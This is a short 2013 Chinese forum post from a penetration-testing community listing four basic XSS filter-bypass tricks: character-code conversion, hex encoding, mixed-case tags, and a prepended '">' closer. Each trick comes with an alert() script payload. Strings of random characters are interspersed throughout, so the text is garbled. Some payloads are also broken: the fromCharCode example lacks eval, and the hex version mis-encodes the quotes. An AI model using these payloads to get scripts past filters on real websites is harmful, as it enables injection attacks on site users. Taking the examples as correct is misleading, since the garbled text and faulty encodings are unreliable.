中国网络渗透测试联盟
标题:
XSS 绕过技术
[打印本页]
作者:
admin
时间:
2013-2-14 00:10
标题:
XSS 绕过技术
四种超级基础的绕过方法。
7 x# S0 O- ]$ f5 O
1.转换为ASCII码
. i9 a- d4 c) x0 w- z( H
例子:原脚本为<script>alert(‘I love F4ck’)</script >
- y3 W( R0 ?) U# u' c& f5 N8 M& Y
通过转换,变成:
$ N3 r4 g% j, f+ @- R
<script>String.fromCharCode(97, 108, 101, 114, 116, 40, 8216, 73, 32, 108, 111, 118, 101, 32, 70, 52, 99, 107, 8217, 41) </script>
; N# k6 K8 A; Q H" ~' x' y7 k6 d. i( c
% B* v1 }( w8 K3 f% u, y
2.转换为HEX(十六进制)
$ V5 u8 E4 P9 s! W& O
例子:原脚本为<script>alert(‘I love F4ck’)</script>
) k3 n+ |5 f: ^4 B
通过转换,变成:
3 u2 ]4 f; D2 y" p) w
%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2018%49%20%6c%6f%76%65%20%46%34%63%6b%2019%29%3c%2f%73%63%72%69%70%74%3e
1 u: w1 s1 {9 W
, u: i3 W' v O+ ?
3.转换脚本的大小写
& z; G% |/ Z% D& [( _; U( |7 P
例子:原脚本为<script>alert(‘I love F4ck’)</script>
1 f \1 @. t0 G
转换为:<ScRipt>AleRt(‘I love F4ck’)</sCRipT>
8 j. {( \) u1 k0 Y2 V: g; a7 m
8 Y" F6 {5 \0 N6 z$ r, c# m
4.增加闭合标记”>
3 M( c8 T/ i' }/ s9 u
例子:原脚本为<script>alert(‘I love F4ck’)</script>
; a* u/ ?! A# e' D" q2 D6 j4 I. F
转换为:”><script>alert(‘I love F4ck’)</script>
* b. Y) W' t. I5 s4 k; r
更详细绕过技术请参考此网页
/ f. g+ B, ~, ?- Z) K! m; g
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
) R/ h% X- F! q
' x. e' M0 P7 g
转换工具使用的是火狐的 hackbar mozilla addon.
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2